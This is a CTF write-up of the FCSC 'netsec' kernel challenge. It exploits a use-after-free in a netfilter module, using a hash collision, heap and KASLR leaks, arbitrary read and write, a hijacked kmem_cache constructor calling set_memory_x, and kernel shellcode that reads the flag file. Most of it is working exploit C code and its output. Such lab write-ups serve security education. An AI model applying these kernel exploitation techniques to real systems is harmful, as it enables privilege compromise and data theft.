Ruulian 25 min

The French National Cybersecurity Agency (ANSSI) has been organising the France Cybersecurity Challenge (FCSC) for several years now, a cybersecurity competition open to everyone. The France Cybersecurity Challenge (FCSC) offers young people aged 14 to 25 the chance to test their skills and compete in a wide variety of challenges designed by cybersecurity experts. The FCSC aims to select the best French players to take part in the European Cybersecurity Challenge (ECSC).

This blogpost is a writeup of the netsec challenge solved by Ruulian, who got first blood.

Challenge Description

task_image

Provided files:

netsec.tar.xz:

  • bzImage : Kernel image
  • Dockerfile / docker-compose.yml : Docker setup
  • entrypoint.sh : Bash script run in the docker launching the VMs
  • module/* : Source code & kernel object file
  • rootfs_challenge.ext2 : Target VM’s rootfs
  • rootfs_pivot.ext2 : Pivot VM’s rootfs

TL ; DR

  1. Exploit UAF in a custom kernel cache to get arbitrary read / write
  2. Leak module base address
  3. Leak KASLR using struct kmem_cache
  4. Get arbitrary call
  5. Shellcode execution using set_memory_x

📖 Challenge Overview

♻️ Source Code Analysis

📥 Module Initialization

This challenge is a netfilter kernel module whose source code is given.

Here is the module initialization:

static int hook_port = 0;
static struct kmem_cache *cache = NULL;
static uint8_t in_key[KEY_SIZE] = { 0 };

static struct nf_hook_ops in_ops = {
    .hook = hook_in,
    .pf = PF_INET,
    .hooknum = NF_INET_LOCAL_IN,
    .priority = NF_IP_PRI_LAST,
};

static struct nf_hook_ops out_ops = {
    .hook = hook_out,
    .pf = PF_INET,
    .hooknum = NF_INET_LOCAL_OUT,
    .priority = NF_IP_PRI_LAST,
};

void crypto_kdf(uint8_t* key, size_t key_len, uint32_t seed) {
    if (key) {
        uint32_t state = seed * 0xdeadbeef + 0x12345;
        for (int i = 0; i < (key_len / 4); i++) {
            state ^= state << 13;
            state ^= state >> 17;
            state ^= state << 5;
            ((uint32_t*)key)[i] = state;
        }
    }
}

// ...

static int __init mod_init(void) {

    cache = kmem_cache_create("netsec", sizeof(struct sec_conn), 0, SLAB_HWCACHE_ALIGN | SLAB_NO_MERGE, NULL);
    crypto_kdf(in_key, KEY_SIZE, hook_port);

    nf_register_net_hook(&init_net, &in_ops);
    nf_register_net_hook(&init_net, &out_ops);

    printk(KERN_INFO "Netfilter hooks inserted\n");
    return 0;
}

module_param(hook_port, int, S_IRUSR | S_IWUSR);

Thus, when inserting the module:

  • It registers a custom cache designed for struct sec_conn (which we’ll detail after)
  • It uses a Key Derivation Function on in_key using hook_port as seed (hook_port is known, it is 1337)
  • It registers 2 hooks, one hook for incoming packets and one hook for outgoing ones

⚙️ sec_conn object

Initialization:

struct sec_conn {
    uint8_t* in_key;
    uint8_t* out_key;
    uint8_t* buf;
    uint buf_len;
};

void create_sec_conn(uint32_t ip, uint16_t port) {
    uint8_t h = HASH(ip, port);
    struct sec_conn* sconn = kmem_cache_alloc(cache, GFP_KERNEL);
    sconn->in_key = in_key;
    sconn->out_key = kmem_cache_alloc(cache, GFP_KERNEL);
    sconn->buf = NULL;
    sconn->buf_len = 0;
    crypto_kdf(sconn->out_key, KEY_SIZE, port);
    hash_table[h] = sconn;
}

As we can see, the object has 2 keys registered when initialized, the in_key and the out_key. The in_key is the global variable (therefore shared by all sec_conn objects) and the out_key is newly allocated and unique for each object.

buf and buf_len are set to 0 during initialization because they are going to be updated after.

The last important part is that the object pointer is put into an hashtable.

Deletion:

void destroy_sec_conn(uint32_t ip, uint16_t port) {
    uint8_t h = HASH(ip, port);
    struct sec_conn* sconn = hash_table[h];
    if (sconn) {
        if (sconn->out_key) {
            kmem_cache_free(cache, sconn->out_key);
        }
        if (sconn->buf) {
            kfree(sconn->buf);
        }
        kmem_cache_free(cache, sconn);
    }
}

It basically retrieves the connection entry in the hashtable and then free all allocated objects.

Buffer creation:

The last part of the object setup we didn’t covered is how the buffer is created, it is handled by get_sec_conn_buf:

uint8_t* get_sec_conn_buf(struct sec_conn* sconn, size_t len) {
    if (sconn->buf_len < len) {
        kfree(sconn->buf);
        if (len <= CACHE_SIZE) {
            len = CACHE_SIZE;
            sconn->buf = kmem_cache_alloc(cache, GFP_KERNEL);
        } else {
            sconn->buf = kmalloc(len, GFP_KERNEL);
        }
        sconn->buf_len = len;
    }
    return sconn->buf;
}

The allocation process is straightforward:

  1. If buffer’s current length is big enough, simply return the buffer
  2. Otherwise, free the buffer and then allocate another one from the custom cache if the available size is sufficient or from kmalloc if the asked size is bigger than CACHE_SIZE
  3. Update the size field

📨 Hooks Behavior

Here are the important parts of both hooks:

unsigned int hook_in(void *priv, struct sk_buff *skb, const struct nf_hook_state *state) {
    struct sec_conn* sconn;
    // ...
    if (tcph->syn) {
        // new TCP connection
        create_sec_conn(ip_src, port_src);
    } else if (tcph->fin) {
        // end of TCP connection
        destroy_sec_conn(ip_src, port_src);
    } else {
        if (data_len > 0) {
            // data in TCP payload
            sconn = get_sec_conn(ip_src, port_src);
            if (sconn) {
                buf = get_sec_conn_buf(sconn, data_len);
                if (buf) {
                    skb_copy_bits(skb, header_len, buf, data_len);
                    crypto_xor(buf, data_len, sconn->in_key, KEY_SIZE);
                    skb_store_bits(skb, header_len, buf, data_len);
                }
            }
        }
    }
    // ...
}

unsigned int hook_out(void *priv, struct sk_buff *skb, const struct nf_hook_state *state) {
    struct sec_conn* sconn;
    // ...
    if (tcph->syn || tcph->fin) {
        return NF_ACCEPT;
    } else {
        if (data_len > 0) {
            // data in TCP payload
            sconn = get_sec_conn(ip_dst, port_dst);
            if (sconn) {
                buf = get_sec_conn_buf(sconn, data_len);
                if (buf) {
                    skb_copy_bits(skb, header_len, buf, data_len);
                    crypto_xor(buf, data_len, sconn->out_key, KEY_SIZE);
                    skb_store_bits(skb, header_len, buf, data_len);
                }
            }
        }
    }
    // ...
}

Both implementation are similar, however, the hook_in handles the creation and the deletion of the sec_conn object.

When the packet is incoming, the packet is xored with in_key, put in buf and finally sent back to sk_buff. Same for outgoing packets, but with out_key instead.

🏃 Running Service

The last thing we need to do is to determine which service is running on the remote machine to know what are the outgoing packets. Indeed, the incoming packets are fully controlled by us, but the outgoing are sent by the target machine.

To do so, we can simply run the target machine and check ps output:

~ # ps 
PID   USER     COMMAND
    ...
  100 root     nc -knlp 1337 -e /bin/cat
  101 root     ps

Therefore, our packets remain unchanged by the running service (cat simply returns its received content).

🖼️ Big Picture

Here is a big picture of the module workflow when we send a packet:

big_picture

Thus, we have this formula:

RCV = IN ^ OUT ^ SENT

🙊 Talking to the Module

Now we know how the module works, so we can start talking to the module.

To do so, we can write a little C code:

#include <unistd.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define TARGET_PORT 1337
#define TARGET_IP "127.0.0.1"

void free_socket(int fd) {
    shutdown(fd, SHUT_WR);
    close(fd);
}

int open_tcp() {
    int sockfd, connfd;
    struct sockaddr_in servaddr, cliaddr;

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd == -1) {
        perror("socket");
        exit(0);
    }

    memset(&servaddr, 0, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = inet_addr(TARGET_IP);
    servaddr.sin_port = htons(TARGET_PORT);

    if (connect(sockfd, (struct sockaddr*)&servaddr, sizeof(servaddr)) != 0) {
        perror("connect");
        exit(1);
    }

    return sockfd;
}

int main(int argc, char **argv) {
    int fd = open_tcp();
    free_socket(fd);
    return 0;
}

Note: For debugging convenience, we put the exploit directly on the target VM. That is why we are targeting 127.0.0.1.

We can see that the module is correctly triggered:

~ # ./exploit 
IN: 127.0.0.1:50042 -> 127.0.0.1:1337 S:1 A:0 F:0 R:0 [0x3c|0x0]
OUT: 127.0.0.1:1337 -> 127.0.0.1:50042 S:1 A:1 F:0 R:0 [0x3c|0x0]
IN: 127.0.0.1:50042 -> 127.0.0.1:1337 S:0 A:1 F:0 R:0 [0x34|0x0]
IN: 127.0.0.1:50042 -> 127.0.0.1:1337 S:0 A:1 F:1 R:0 [0x34|0x0]
OUT: 127.0.0.1:1337 -> 127.0.0.1:50042 S:0 A:1 F:0 R:0 [0x34|0x0]
OUT: 127.0.0.1:1337 -> 127.0.0.1:50042 S:0 A:1 F:1 R:0 [0x34|0x0]
IN: 127.0.0.1:50042 -> 127.0.0.1:1337 S:0 A:1 F:0 R:0 [0x34|0x0]
~ #

🐛 Bug Hunting

⛓️‍💥 Use After Free

The first part we need to pay attention is the deletion part:

// ...
} else if (tcph->fin) {
    // end of TCP connection
    destroy_sec_conn(ip_src, port_src);
} else {
// ...

When we send a FIN packet, the connection is freed but the hashtable entry is not set to NULL.

Unfortunately, since we sent a FIN packet, we can not use the socket anymore to reach the dangling pointer in the hashtable.

However, what if we have 2 socket connections in the same hashtable entry?

Let’s suppose the following scenario:

sfd1 = open_tcp()
sfd2 = open_tcp()
// We suppose that HASH(sfd1) == HASH(sfd2)

It gives the following:

hashtable_collision

2 TCP connections pointing to the same hashtable entry, which only points to only one of the two.

Thus, if we free sfd2, we can have an UAF using sfd1:

uaf

The only thing we need is a collision on the hash function.

💥 Hash Collision

To get a collision, we can simply iterate over ports until finding one colliding:

#define LOCAL_IP inet_addr("127.0.0.1")
#define HASH(addr, port) (((addr >> 24) ^ (addr >> 16) ^ (addr >> 8) ^ (addr) ^ (port >> 8)  ^ (port)) & 0xff)

short get_collision(short port) {
    int i = 2000;
    int target_hash = HASH(LOCAL_IP, port);

    while ((HASH(LOCAL_IP, i)) != target_hash)
        i++;

    return i;
}

Thus, to get our scenario, we need to change our open_tcp function to force the local port:

int open_tcp(short src_port) {
    int sockfd, connfd;
    struct sockaddr_in servaddr, cliaddr;

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd == -1) {
        perror("socket");
        exit(1);
    }

    memset(&servaddr, 0, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = inet_addr(TARGET_IP);
    servaddr.sin_port = htons(TARGET_PORT);

    memset(&cliaddr, 0, sizeof(cliaddr));
    cliaddr.sin_family = AF_INET;
    cliaddr.sin_addr.s_addr = INADDR_ANY;
    cliaddr.sin_port = htons(src_port);

    if (bind(sockfd, (struct sockaddr*)&cliaddr, sizeof(cliaddr)) != 0) {
        perror("bind");
        exit(1);
    }

    if (connect(sockfd, (struct sockaddr*)&servaddr, sizeof(servaddr)) != 0) {
        perror("connect");
        exit(1);
    }

    return sockfd;
}

We can try a connection on a specific port (1000) to see that everything works:

~ # ./exploit 
IN: 127.0.0.1:1000 -> 127.0.0.1:1337 S:1 A:0 F:0 R:0 [0x3c|0x0]
OUT: 127.0.0.1:1337 -> 127.0.0.1:1000 S:1 A:1 F:0 R:0 [0x3c|0x0]
IN: 127.0.0.1:1000 -> 127.0.0.1:1337 S:0 A:1 F:0 R:0 [0x34|0x0]
IN: 127.0.0.1:1000 -> 127.0.0.1:1337 S:0 A:1 F:1 R:0 [0x34|0x0]
OUT: 127.0.0.1:1337 -> 127.0.0.1:1000 S:0 A:1 F:0 R:0 [0x34|0x0]
OUT: 127.0.0.1:1337 -> 127.0.0.1:1000 S:0 A:1 F:1 R:0 [0x34|0x0]
IN: 127.0.0.1:1000 -> 127.0.0.1:1337 S:0 A:1 F:0 R:0 [0x34|0x0]
~ # 

👇🏻 UAF Trigger

We can now reproduce our scenario:

void wait() {
    printf("Press enter to continue");
    getchar();
}

int main(int argc, char **argv) {
    int sfd1, sfd2;
    int p1, p2;

    p1 = 1338;
    p2 = get_collision(p1);
    sfd1 = open_tcp(p1);
    sfd2 = open_tcp(p2);

    wait();

    free_socket(sfd2);

    wait();

    return 0;
}

Note: The wait functions are here to freeze the process and let us check in GDB the process state.

We can see at the first wait that the four expected allocations are done:

uaf_before_trigger

Then, when the connection is closed:

heap_uaf

We still have our pointer in the hashtable but it points to a freed memory, we therefore have our UAF!

💣 Exploit

📚 Heap Leak

First, we need leaks. Here is the state of the freed pointer we have access to:

gef> x/8gx 0xffff8880033f0040
0xffff8880033f0040: 0xffffffffc0201dc0  0xffff8880033f0060 <-- `sfd2` object
0xffff8880033f0050: 0xffff8880033f0060  0x0000000000000000
       next pointer ^^^^^^^^^^^^^^^^^^
0xffff8880033f0060: 0x54fa464ffabe0e11  0x8c9cf61c9a46a296 <--- `sfd2->out_key`
0xffff8880033f0070: 0xffff8880033f0080  0xe97a1e7c756a5ea3
       next pointer ^^^^^^^^^^^^^^^^^^

At address 0xffff8880033f0050 and 0xffff8880033f0070 we can see 2 pointers. Those pointers are the next fields of the freelist elements. We can leak one of them to leak a heap address.

Note: You can notice here that CONFIG_SLAB_FREELIST_HARDENED is not set, otherwise the pointer would be mangled.

Since in the out_key there is a heap address, it would be cool if we could leak it. Fortunately, we can use our previous formula to retrieve it (because we know all the elements of the formula).

Then:

OUT = IN ^ SENT ^ RCV

We can send > 0x20 bytes to the socket to retrieve OUT. We need to write more than 0x20 bytes because otherwise it is going to allocate in the cache and erase our out_key.

#define CACHE_SIZE 0x20
#define KEY_SIZE CACHE_SIZE

uint8_t in_key[KEY_SIZE];

int main(int argc, char **argv) {
    int sfd1, sfd2;
    int p1, p2;
    uint8_t buff_0x28[0x28];

    crypto_kdf(in_key, KEY_SIZE, TARGET_PORT);

    p1 = 1338;
    p2 = get_collision(p1);
    sfd1 = open_tcp(p1);
    sfd2 = open_tcp(p2);

    free_socket(sfd2);

    memset(buff_0x28, 0, sizeof(buff_0x28)); // 0 to simplify the xor after
    write(sfd1, buff_0x28, sizeof(buff_0x28));

    read(sfd1, buff_0x28, sizeof(buff_0x28));
    crypto_xor(buff_0x28, sizeof(buff_0x28), in_key, sizeof(in_key));
    printf("leak = 0x%lx\n", ((uint64_t *)buff_0x28)[2]);

    return 0;
}

Which gives us the heap leak!

~ # ./exploit 
IN: 127.0.0.1:1338 -> 127.0.0.1:1337 S:1 A:0 F:0 R:0 [0x3c|0x0]
...
IN: 127.0.0.1:2103 -> 127.0.0.1:1337 S:0 A:1 F:0 R:0 [0x34|0x0]
leak = 0xffff8880034bc040
...
~ #

📖 Craft Arbitrary Read

Now that we have a heap address, crafting an arbitrary read could allow us to leak other useful address.

Since we have a UAF, we can overwrite our freed object with arbitrary data using the buffer allocation in the cache (when data sent is less than 0x20 bytes).

However, we already wrote 0x28 bytes, which means that we can’t allocate in the cache anymore using this object. Thus, we should prepare other TCP connections in order to allocate a 0x20 buffer overwriting our freed object and use it as an arbitrary read/write primitive.

Currently the freelist is sfd2->out_key --> sfd2 --> garbage, therefore we need to prepare 2 TCP connections to fill both slots.

Once we have overwritten our sec_conn object, we can use the out_key to leak data using the same technique as before.

int main(int argc, char **argv) {
    int sfd1, sfd2, sfd3, sfd4;
    int p1, p2, p3, p4;

    uint64_t heap_leak, slab_addr;
    uint8_t buff_0x8[0x8], buff_0x28[0x28];

    crypto_kdf(in_key, KEY_SIZE, TARGET_PORT);

    p1 = 1338;
    p2 = get_collision(p1);
    p3 = 1339;
    p4 = 1340;
    sfd1 = open_tcp(p1);
    sfd2 = open_tcp(p2);
    sfd3 = open_tcp(p3);
    sfd4 = open_tcp(p4);

    free_socket(sfd2);

    memset(buff_0x28, 0, sizeof(buff_0x28)); // 0 to simplify the xor after
    write(sfd1, buff_0x28, sizeof(buff_0x28));

    read(sfd1, buff_0x28, sizeof(buff_0x28));
    crypto_xor(buff_0x28, sizeof(buff_0x28), in_key, sizeof(in_key));
    heap_leak = ((uint64_t *)buff_0x28)[2];
    slab_addr = heap_leak& ~0xfff;
    printf("heap_leak = 0x%lx\n", heap_leak);
    printf("slab_addr = 0x%lx\n", slab_addr);

    struct sec_conn primitive;
    primitive.in_key = 0;
    primitive.out_key = /* Target read address */;
    primitive.buf = (uint8_t *)(heap_leak + 0x100); // Dummy address where we can write safely
    primitive.buf_len = 0x100;

    write(sfd3, (char *)&primitive, sizeof(primitive)); // Takes `sfd2->out_key` slot

    xor_payload((uint8_t *)&primitive, sizeof(primitive), p4);
    write(sfd4, (char *)&primitive, sizeof(primitive)); // Takes `sfd2` slot

    sleep(1);

    memset(buff_0x8, 0, sizeof(buff_0x8));
    write(sfd1, buff_0x8, sizeof(buff_0x8)); // Trigger XOR with out_key to leak its content

    read(sfd1, buff_0x8, sizeof(buff_0x8)); // Read leaked output

    return 0;
}

We finally have an arbitrary read!

🎲 Leaks

📁 Module Base Address Leak

Using our arbitrary read, we can read the in_key address stored in objects, it allows us to get the module base address:

// ...
primitive.out_key = (uint8_t *)slab_addr; // The top of the slab has `sfd1->in_key` address
// ...
read(sfd1, buff_0x8, sizeof(buff_0x8)); // Read leaked output

in_key_addr = *(uint64_t *)buff_0x8;
printf("in_key addr = 0x%lx\n", in_key_addr);

Which gives us the following leak:

~ # ./exploit 
heap_leak = 0xffff88800345a040
slab_addr = 0xffff88800345a000
in_key addr = 0xffffffffc0201dc0
~ #

🇰 KASLR leak

With the module address and our arbitrary read, we can leak KASLR. Indeed, in the global variables, we have the cache which points to a struct kmem_cache. In gdb, we can see that there is a pointer to slab_caches stored in the structure:

slab_caches_ptr

Fortunately, this address is from kernel data, which means that by reading it, we can leak KASLR!

To do so, we have to leak the address of the cache first and then read cache + 0x78 (slab_caches offset).

Since we have multiple read to do, we can create a helper function:

uint64_t arb_read(
        uint64_t target, /* Address we want to read */
        uint64_t dummy_addr, /* Address where we can safely write */
        int sfd1, /* FD using the UAF */
        int sfd4, /* FD overwriting our freed object */
        short p4 /* Port used in sfd4 TCP connection */
    ) {

    char buff_0x8[0x8];
    struct sec_conn primitive;

    primitive.in_key = 0;
    primitive.out_key = (uint8_t *)target;
    primitive.buf = (uint8_t *)dummy_addr;
    primitive.buf_len = 0x20;

    xor_payload((uint8_t *)&primitive, sizeof(primitive), p4);
    write(sfd4, (char *)&primitive, sizeof(primitive));

    // Let the write finish
    sleep(1);

    memset(buff_0x8, 0, sizeof(buff_0x8));
    write(sfd1, buff_0x8, sizeof(buff_0x8));

    read(sfd1, buff_0x8, sizeof(buff_0x8));

    return *(uint64_t *)buff_0x8;
}

Once we have that, we can perform our reads:

// Use `sfd2->out_key` slot in freelist
write(sfd3, buff_0x20, sizeof(buff_0x20));

in_key_addr = arb_read(slab_addr, heap_leak + 0x100, sfd1, sfd4, p4);
printf("in_key addr = 0x%lx\n", in_key_addr);

// `cache` offset to `in_key` address
cache = arb_read(in_key_addr + 0x20, heap_leak + 0x100, sfd1, sfd4, p4);
printf("cache = 0x%lx\n", cache);

// 0x10e1560 is `slab_caches` offset in the kernel (found using GDB)
kbase = arb_read(cache + 0x78, heap_leak + 0x100, sfd1, sfd4, p4) - 0x10e1560;
printf("kbase = 0x%lx\n", kbase);

We finally have all the leaks we need:

~ # ./exploit 
heap_leak = 0xffff888003406040
slab_addr = 0xffff888003406000
in_key addr = 0xffffffffc0201dc0
cache = 0xffff888002b29a00
kbase = 0xffffffff81000000

✏️ Craft Arbitrary Write

The last primitive we need to craft is the arbitrary write one. Hopefully, with our UAF, we can replace the buffer address to get arbitrary write.

We can take our previous arb_read and transform it for writing:

void arb_write(
        uint64_t target, /* Address we want to write */
        uint8_t *data, /* Data we want to write */
        size_t len, /* Length of data */
        int sfd1, /* FD using the UAF */
        int sfd4, /* FD overwriting our freed object */
        short p4 /* Port used in sfd4 TCP connection */
    ) {
    struct sec_conn primitive;

    primitive.in_key = 0;
    primitive.out_key = 0;
    primitive.buf = (uint8_t *)target;
    primitive.buf_len = len;

    xor_payload((uint8_t *)&primitive, sizeof(primitive), p4);
    write(sfd4, (char *)&primitive, sizeof(primitive));

    write(sfd1, data, len);
}

We can verify that everything works by overwriting a random field in cache structure:

arb_write(cache + 0x60, (uint8_t *)"AAAAAAAA", 8, sfd1, sfd4, p4);

In GDB:

arb_write

🔥 RCE

🦘 Arbitrary Jump

Usually in the kernel, arbitrary read / write is sufficient to use classical techniques (e.g modprobe_path), however, here we don’t have any shell, therefore we don’t need to escalate privilege. What we need is reading the flag remotely.

Note: Someone (🐑) told me after the CTF that he used arbitrary read / write to find netcat’s task_struct and then overwrite the executed command at each connection to execute /bin/sh instead of cat, very elegant solution. However, why make it simple when we can make it complicated?

Thus, we can transform our primitives to get RCE. But how?

If we look at the kmem_cache structure, we can see an interesting field:

struct kmem_cache {
    // ...
    void (*ctor)(void *object);	/* Object constructor */
    // ...
};

By looking at kernel source code, we can see that this is a constructor called when creating a new slab. Thus, when our slab is completely filled and we perform another allocation, it will call the constructor. It seems perfect for our needs.

The offset of the constructor in the structure is 0x50, the only thing we need to do is to fill the slab after overwriting it. Here is the current state of the freelist (we need to get the freelist empty):

freelist_state

We have to clean the heap, otherwise we won’t be able to empty the freelist. The pointer in the freelist is the one we allocated at the beginning of the exploit (the 0x28 one to leak a heap address). The problem is that when we used the object to get arbitrary read / write, we overwrote the pointer and lost it. Thus, we need to 0 the memory before losing the pointer.

We can insert the following code between the leaks part and the arbitrary read setup:

// ...
printf("slab_addr = 0x%lx\n", slab_addr);

uint8_t out_key[KEY_SIZE];
// out_key is corrupted by the heap address, we need to corrupt it too
crypto_kdf(out_key, KEY_SIZE, p2);
((uint64_t *)out_key)[2] = heap_leak;

memset(buff_0x28, 0, sizeof(buff_0x28));
crypto_xor(buff_0x28, sizeof(buff_0x28), in_key, KEY_SIZE);
crypto_xor(buff_0x28, sizeof(buff_0x28), out_key, KEY_SIZE);

write(sfd1, buff_0x28, sizeof(buff_0x28));
read(sfd1, buff_0x28, sizeof(buff_0x28)); // Empty sfd1 recv buffer

// Use `sfd2->out_key` slot in freelist
write(sfd3, buff_0x20, sizeof(buff_0x20));
// ...

Which gives us a clean heap at the end of our current exploit:

clean_heap

We can finish by allocating 2 objects in the netsec cache to trigger the ctor call:

arb_write(cache + 0x50, (uint8_t *)"AAAAAAAA", 8, sfd1, sfd4, p4);

open_tcp(p4 + 1); // Trigger 2 allocations in netsec cache

Which causes the arbitrary call:

arb_call

📄 Getting Executable Page

Now that we have an arbitrary call, we need to find where to jump. SMEP is enabled so we can’t ret2usr using a userland shellcode.

First let’s see what arguments are passed to the constructor and check if we can use them:

static void *setup_object(struct kmem_cache *s, void *object)
{
    // ...
    if (unlikely(s->ctor)) {
        // ...
        s->ctor(object);
        // ...
    }
    // ...
}

static struct slab *allocate_slab(struct kmem_cache *s, gfp_t flags, int node)
{
    // ...
    slab = alloc_slab_page(alloc_gfp, node, oo, allow_spin);
    // ...
    start = slab_address(slab);
    // ...
    shuffle = shuffle_freelist(s, slab);

    if (!shuffle) {
        start = fixup_red_left(s, start);
        start = setup_object(s, start);
        slab->freelist = start;
        for (idx = 0, p = start; idx < slab->objects - 1; idx++) {
            next = p + s->size;
            next = setup_object(s, next); // <-- called here or each object
            set_freepointer(s, p, next);
            p = next;
        }
        set_freepointer(s, p, NULL);
    }
    // ...
}

This constructor is used to setup each object of the slab when a slab is newly allocated.

Note: You may say that if the freelist is shuffled, setup_object is not called, but in case of freelist shuffle, the setup_object function is called in shuffle_freelist the same way as if it wasn’t shuffled.

Note 2: You could also check kernel documentation of kmem_cache_create instead of digging the source code but where is the fun in this case..

It means that we can setup each next allocated objects the way we want. What if we make them executable?

It exists a function in the Linux kernel allowing making a page executable:

int set_memory_x(unsigned long addr, int numpages)
{
	if (!(__supported_pte_mask & _PAGE_NX))
		return 0;

	return change_page_attr_clear(&addr, numpages, __pgprot(_PAGE_NX), 0);
}

The first argument addr is good and if we check the kernel crashdump we can see that rsi is set to 1 so it is perfect too!

The only thing we have to do is to replace ctor by set_memory_x and our slab will be totally executable:

uint64_t set_memory_x = kbase + 0x002ba1a0;
arb_write(cache + 0x50, (uint8_t *)&set_memory_x, 8, sfd1, sfd4, p4);

open_tcp(p4 + 1);

rwx_page

Note: In the VM, a warning is raised but don’t worry, it doesn’t affect anything for the rest of the exploit.

🥵 Full RCE

Now, everything is ready to get an RCE. The last thing is to get the address of the slab (and to write the shellcode obviously).

To do so, we can basically do the UAF again the same way as before and we get our address:

// Stage 2
int stage2_fd1 = open_tcp(p4 + 2);
int stage2_fd2 = open_tcp(get_collision(p4 + 2));
int stage2_fd3 = open_tcp(p4 + 3);

free_socket(stage2_fd2);

memset(buff_0x28, 0, sizeof(buff_0x28)); // 0 to simplify the xor after
write(stage2_fd1, buff_0x28, sizeof(buff_0x28));

read(stage2_fd1, buff_0x28, sizeof(buff_0x28));
crypto_xor(buff_0x28, sizeof(buff_0x28), in_key, sizeof(in_key));
uint64_t slab2_addr = ((uint64_t *)buff_0x28)[2] & ~0xfff;
printf("slab2_addr = 0x%lx\n", slab2_addr);

Which gives us the address of our target slab:

~ # ./exploit 
heap_leak = 0xffff8880034f0040
slab_addr = 0xffff8880034f0000
in_key addr = 0xffffffffc0201dc0
cache = 0xffff888002b29a00
kbase = 0xffffffff81000000
slab2_addr = 0xffff88800350a000

Now, to trigger it, we need to erase the ctor again with this address, clean the freelist (we can use our arbitrary write) and write our shellcode.

sleep(1);

// Overwrite `ctor`
arb_write(cache + 0x50, (uint8_t *)&slab2_addr, 8, sfd1, sfd4, p4);

// Clean freelist, offset is found in GDB (clear the `next` pointer of the first element of the freelist)
arb_write(slab2_addr + 0x90, (uint8_t *)"\0\0\0\0\0\0\0\0", 8, sfd1, sfd4, p4);

// Write shellcode, `\xcc` == int3 to trigger an interrupt
arb_write(slab2_addr, (uint8_t *)"\xcc", 1, sfd1, sfd4, p4);

sleep(1);
open_tcp(p4 + 4); // Trigger slab allocation

We can see that our shellcode is correctly triggered:

int3_triggered

🏹 Shellcode Writing

Now only fun and profit, we need to write a shellcode that exfiltrate the flag!

Our shellcode must read the flag from the filesystem and write it in memory (also clear the ctor so the shellcode is executed only once):

#define ADDR(addr) ((uint8_t*)&addr)[0], ((uint8_t*)&addr)[1], ((uint8_t*)&addr)[2], ((uint8_t*)&addr)[3], ((uint8_t*)&addr)[4], ((uint8_t*)&addr)[5], ((uint8_t*)&addr)[6], ((uint8_t*)&addr)[7]

int main(void) {
    // ...

    // Write shellcode
    uint64_t filp_open = kbase + 0x48e190;
    uint64_t kernel_read = kbase + 0x490ab0;
    uint64_t flag_address = heap_leak + 0x200;
    uint64_t path_address = heap_leak + 0x300;
    uint64_t ctor_address = cache + 0x50;

    uint8_t shellcode[] = {
        0x48, 0xB8, ADDR(filp_open), 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // mov rax, filp_open ; nops
        0x48, 0x31, 0xF6, 0x48, 0xbf, ADDR(path_address), 0x90, 0x90, 0x90, // xor rsi, rsi ;  mov rdi, path_address ; nops
        0x48, 0xC7, 0xC2, 0x24, 0x01, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xC7, 0x90, 0x90, 0x90, 0x90, // mov rdx, 0o444 ; call rax ; mov rdi, rax ; nops
        0x48, 0xB8, ADDR(kernel_read), 0x48, 0x31, 0xD2, 0x80, 0xC2, 0xFF, // mov rax, kernel_read ; xor rdx, rdx ; add dl, 0xff
        0x48, 0xbe, ADDR(flag_address), 0x48, 0x31, 0xC9, 0xff, 0xd0, 0x90, // mov rsi, strings_address ; xor rcx, rcx ; call rax
        0x48, 0xb8, ADDR(ctor_address), 0x48, 0xc7, 0x00, 0x00, 0x00, 0x00, // mov rax, ctor_address ; mov qword ptr [rax], 0x0
        0x00, 0xc3 // ret
    };
    arb_write(path_address, (uint8_t *)"/flag.txt", 10, sfd1, sfd4, p4);
    arb_write(slab2_addr, shellcode, sizeof(shellcode), sfd1, sfd4, p4);

    sleep(1);
    open_tcp(p4 + 4); // Trigger slab allocation

    printf("flag address = 0x%lx\n", flag_address);
    wait();

    return 0;
}

We can ensure that the flag is correctly written at the address we want:

~ # ./exploit 
heap_leak = 0xffff888003435040
slab_addr = 0xffff888003435000
in_key addr = 0xffffffffc0201dc0
cache = 0xffff888002b29a00
kbase = 0xffffffff81000000
slab2_addr = 0xffff888003494000
flag address = 0xffff888003435240

flag_mem

🚩 Getting the Flag

Now that the flag is in memory, we can use our arbitrary read to read it:

char flag[0x100] = { 0 };
for (uint64_t i = 0; i < sizeof(flag); i += 8) {
    sleep(1);
    uint64_t f = arb_read(flag_address + i, heap_leak + 0x100, sfd1, sfd4, p4);
    memcpy(flag + i, &f, 8);
    char *end = strchr(flag, '}');
    if (NULL != end) {
        *(end + 1) = '\0';
        break;
    }
}
printf("%s\n", flag);

And we have our flag!

~ # ./exploit 
heap_leak = 0xffff8880034c1040
slab_addr = 0xffff8880034c1000
in_key addr = 0xffffffffc0201dc0
cache = 0xffff888002b29a00
kbase = 0xffffffff81000000
slab2_addr = 0xffff88800382a000
flag address = 0xffff8880034c1240
FCSC{flag_placeholder}

🌐 Getting the Flag Remotely

Now that we have a working exploit we can send it on the remote instance. We need to change the used IPs (because we are not targeting ourselves anymore):

#define TARGET_IP "192.168.2.2"
#define LOCAL_IP inet_addr("192.168.1.2")

We finally get our final flag!

remote_flag

📌 Final Exploit

#include <netinet/tcp.h>
#include <stdint.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define TARGET_PORT 1337
#define TARGET_IP "192.168.2.2"
#define LOCAL_IP inet_addr("192.168.1.2")

#define HASH(addr, port) (((addr >> 24) ^ (addr >> 16) ^ (addr >> 8) ^ (addr) ^ (port >> 8)  ^ (port)) & 0xff)

#define CACHE_SIZE 0x20
#define KEY_SIZE CACHE_SIZE

#define ADDR(addr) ((uint8_t*)&addr)[0], ((uint8_t*)&addr)[1], ((uint8_t*)&addr)[2], ((uint8_t*)&addr)[3], ((uint8_t*)&addr)[4], ((uint8_t*)&addr)[5], ((uint8_t*)&addr)[6], ((uint8_t*)&addr)[7]

uint8_t in_key[KEY_SIZE];

struct sec_conn {
    uint8_t* in_key;
    uint8_t* out_key;
    uint8_t* buf;
    uint buf_len;
};

void crypto_kdf(uint8_t* key, size_t key_len, uint32_t seed) {
    if (key) {
        uint32_t state = seed * 0xdeadbeef + 0x12345;
